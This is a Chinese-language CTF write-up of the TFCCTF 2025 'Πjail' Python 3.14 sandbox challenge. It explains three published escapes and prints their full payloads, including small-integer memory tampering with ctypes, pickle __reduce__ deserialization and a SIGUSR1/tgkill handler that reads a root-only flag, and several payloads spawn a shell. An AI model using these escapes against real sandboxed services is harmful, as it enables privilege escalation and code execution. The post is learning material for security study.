Post

TFCCTF 2025 Πjail - syscall 降权绕过

TFCCTF 2025 Πjail - syscall 降权绕过

TFCCTF 2025 中遇到了一道比较有趣的 pyjail —— Πjail(3.14 -> Π 🤣)。其限制的方式是通过系统调用强制使脚本权限降级为 nobody,然后再来执行 python 代码。flag 设置为 700 的权限,flag 本身为 root 创建,因此 nobody 是无法读取到 flag 的。

这道题当时没有做出来,本文仅为赛后 poc 的学习记录。

1. 赛题分析

Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM python:3.14.0rc2-bookworm

COPY ./jail.py /jail.py
COPY ./flag.txt /flag.txt

RUN apt update; apt  install -y socat; rm -rf /var/lib/apt/lists/*

RUN chmod 700 /flag.txt
RUN chmod 755 /jail.py

EXPOSE 1337

CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:python3 /jail.py"]

赛题源码如下, jail.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from concurrent import interpreters
import threading
import ctypes, pwd
import os

os.setgroups([])
os.setgid(pwd.getpwnam("nobody").pw_gid)

INPUT = None

def safe_eval(user_input):
    safe_builtins = {}

    blacklist = ['os', 'system', 'subprocess', 'compile', 'code', 'chr', 'str', 'bytes']
    if any(b in user_input for b in blacklist):
        print("Blacklisted function detected.")
        return False
    if any(ord(c) < 32 or ord(c) > 126 for c in user_input):
        print("Invalid characters detected.")
        return False

    success = True

    try:
        print("Result:", eval(user_input, {"__builtins__": safe_builtins}, {"__builtins__": safe_builtins}))
    except:
        success = False

    return success

def safe_user_input():
    global INPUT
    # drop priv level
    libc = ctypes.CDLL(None)
    syscall = libc.syscall
    nobody_uid = pwd.getpwnam("nobody").pw_uid
    SYS_setresuid = 117
    syscall(SYS_setresuid, nobody_uid, nobody_uid, nobody_uid)

    try:
        user_interpreter = interpreters.create()
        INPUT = input("Enter payload: ")
        user_interpreter.call(safe_eval, INPUT)
        user_interpreter.close()
    except:
        pass

while True:
    try:
        t = threading.Thread(target=safe_user_input)
        t.start()
        t.join()
        
        if INPUT == "exit":
            break
    except:
        print("Some error occured")
        break

这道题的限制主要分为两个部分:

  1. safe_eval 限制了 builtins 命名空间,以及一些字符串,很好绕过。
  2. safe_user_input 的限制比较特殊。
    1. 借助 setresuid 系统调用,将当前进程的权限降为 nobody
    2. 然后使用 concurrent.interpreters 子解释器来运行 safe_eval。concurrent 是 python 3.14 中的新增模块,可参考:concurrent.interpreters — 同一进程中的多个解释器 — Python 3.14.0rc2 文档

      使用多个解释器在许多方面与 multiprocessing 类似,因为它们都提供了相互隔离的逻辑“进程”,默认情况下不共享任何资源,并且可以并行运行。然而,在使用多个解释器时,应用程序将占用更少的系统资源,并能以更高的效率运行(因为它仍处于同一个进程内)。 可以将多个解释器看作是:拥有进程级别的隔离性,同时具备线程级别的执行效率。

      更简洁的理解是:在同一进程中创建“子解释器”(独立的模块导入表、全局变量、异常状态与执行栈),用于隔离运行代码与并行执行。

在做这道赛题时我考虑过如下的一些思路:

  1. 子解释器中再通过系统调用将权限改回来?但系统调用是内核操作,一旦通过 setresuid 系统调用降低为 nobody 权限,nobody 再改回来必然是 Permission deny。
  2. 子解释器中篡改 pwd.getpwnam 函数使其返回另一个系统调用号?但是子解释器拥有独立的模块导入表,即使我在子解释器中篡改了 pwd.getpwnam 函数,主进程中的模块也不会被篡改。

因此这道题到最后也没想明白怎么能够提权,下面是三位大佬赛后在 discord 中分享的 poc,利用手法都很巧妙。

2. POC 分析

2.1. POC from @xtea418

1
2
3
4
5
6
7
8
9
10
11
12
[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),(e:=b["e""val"]),(a:=e("breakpoint()",(bb:={"__builtins__":b}),bb))]

import ctypes

x = 117
addr = id(x)
ptr = ctypes.cast(addr + 24, ctypes.POINTER(ctypes.c_uint32))
ptr[0] = 106;
exit
y

[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),(i:=b["__import__"]),(g:=b["getattr"]),(o:=i("o""s")),(s:=g(o,"sys""tem")),(a:=s("/bin/sh"))]

这段 payload 主要做了这几个操作:

  1. 调用 breakpoint 函数。
  2. 将数字 117 所在的内存空间进行篡改,将其存放的值改为 106. 退出(然后进入下一个循环,开启新的 interpreter)
  3. 执行 os.system 打开 sh,此时权限并没有被降低为 nobody。

这说明子解释器之间在底层也共享小整数:

Python 的小整数缓存机制: 在 Python 中,小整数(通常是 -5 到 256 之间的整数)是单例对象,并且为了提高性能,这些小整数会存储在一个内部的数组中,并且不会被频繁创建和销毁,通常称为 small_ints[]。因此,当你使用 250 时,实际上得到的是指向这个缓存数组中某个位置的指针。

因此再次创建线程进入 safe_user_input 时,执行的是 libc.syscall(116, uid, uid, uid),从而导致权限没有降低。

2.2. POC from @Hiumee

1
2
3
4
5
# Return an object with a __reduce__ method, classic pickle unserialize
(b:=().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__, b['globals']().update({'__builtins__': b}), b['exec']("class PAYLOAD():\n def __reduce__(self):\n  command=\"eval(input('PAYLOAD 2:'))\"\n  return (eval, (command,))"), x:=[], x.append(y.gi_frame.f_back.f_back.f_locals for y in x), z:=[*x[0]], z[0].update({"success":PAYLOAD()}))

# This will run when the `success` variable is un-pickled, in the main interpreter
(exec("threading.Thread = lambda **_:__import__('os').system('sh')"), True)[1]

根据 poc 作者的描述,当主线程传递向子解释器线程传递对象时,会采用 pickle 反序列爱护的形式进行,参考:

默认情况下,当对象传递给其他解释器时,多数对象会通过 pickle 模块进行复制。几乎所有不可变内置对象要么直接共享,要么会高效复制。例如:

  • None
  • bool (True 和 False)
  • bytes
  • str
  • int
  • float
  • tuple (仅限包含同类可支持对象时)
  • 仅有少数Python类型能够真正在解释器间共享可变数据:
  • memoryview
  • Queue

那么利用时,可以:

  1. 先定义一个恶意类以及其 __reduce__ 方法。
  2. 利用生成器栈帧逃逸的手法,获取到 safe_eval 栈帧的局部变量 success,将其篡改为恶意类。
  3. 由于 success 变量会 return 回主线程,主线程会对其进行反序列化,因此可以在主线程中触发 eval,打开 sh。

2.3. POC from @simonedimaria

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 ncat --ssl pijail-ab6c932e109204d4.challs.tfcctf.com 1337
Enter payload: [y:=[],y.extend([(x.gi_frame.f_back.f_back for x in y)]),[x for x in y[0]][0].f_builtins['__im''port__']("pdb").set_trace()]

> <string>(1)<module>()
(Pdb) (Pdb) bi=[y:=[],y.extend([(x.gi_frame.f_back.f_back for x in y)]),[x for x in y[0]][0].f_builtins['__im''port__']][2]
(Pdb) ct=bi('ctypes'); si=bi('signal'); libc=ct.CDLL(None)
(Pdb) ct
<module 'ctypes' from '/usr/local/lib/python3.14/ctypes/__init__.py'>
(Pdb) libc
<CDLL 'None', handle 7f6243eaf2e0 at 0x7f62420e1fd0>
(Pdb) def fh(sig, libc=libc, ct=ct):
    fd = libc.open(b"/flag.txt", 0)
    if fd >= 0:
        buf = (ct.c_char * 4096)()
        n = libc.read(fd, buf, 4096)
        if n > 0:
            libc.write(1, buf, n)
            libc.write(1, b"\n", 1)
        libc.close(fd)

(Pdb) fh
<function fh at 0x7f62419eafb0>
(Pdb) H = ct.CFUNCTYPE(None, ct.c_int)(fh)
(Pdb) H
<CFunctionType object at 0x7f62421bfe30>
(Pdb) libc.signal(si.SIGUSR1, H)
0
(Pdb) pid = libc.getpid()
(Pdb) pid
11
(Pdb) libc.syscall(234, pid, pid, si.SIGUSR1) # 234 is tgkill on x86
0
(Pdb) TFCCTF{1_h0p3_th1s_y3ar_d0esn't_h4ve_un1nt3nd3d_s0lut1ons_81291dafe}

这段 payload 主要完成了这几步操作:

  1. 使用生成器栈帧获取 builtins 然后借助 import 导入 pdb,最后调用 set_trace 函数,与 breakpoint 类似。
  2. 导入 ctypes 模块,signal 模块,获取 libc
  3. 定义函数 fh,
  4. H = ct.CFUNCTYPE(None, ct.c_int)(fh) 把 Python 函数 fh 包装成“C 调用约定”的函数指针 H,交给 C 侧作为回调使用。
  5. libc.signal(si.SIGUSR1, H) 把“C 函数指针 H”注册为 SIGUSR1 的处理器。
  6. 调用 tgkill 系统调用,将信号 si.SIGUSR1 发送给主线程。从而触发函数 H。
  7. 函数 H 读取 /flag.txt

该方法能够绕过的原理在于:

  1. setresuid(2) 在 Linux 上是 “调用线程生效” 的。题里把降权放在工作线程里调用,因此仅该线程变成 nobody;主线程仍然保留 root。
  2. libc.signal(SIGUSR1, H) 在进程级注册了 C 信号处理器,然后用 tgkill(tgid=pid, tid=pid, sig=SIGUSR1) 把信号投递到主线程。
This post is licensed under CC BY 4.0 by the author.